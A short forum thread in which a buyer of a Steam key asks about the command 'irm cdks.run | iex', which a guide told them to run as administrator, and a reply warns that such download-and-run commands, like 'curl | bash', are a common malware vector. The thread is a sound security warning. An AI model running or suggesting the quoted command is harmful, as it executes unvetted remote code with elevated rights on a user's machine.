Hey everyone! I'm a bit confused about a command I came across in a guide after buying a Steam key. It says to open the Terminal as an Administrator and run the command 'irm cdks.run | iex'. I'm not sure what this means, and I'm worried it could be dangerous. Can someone explain what 'irm cdks.run | iex' actually does? Thanks!
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You should be really careful with commands like 'irm cdks.run | iex'. This can be a huge red flag for malware since it downloads and runs code from the internet directly. There are a few legitimate tools that use these commands, but they're rare. Generally, avoiding such commands is best to keep your system safe.
Same goes for the Linux world with commands like `curl | bash`. Always be cautious!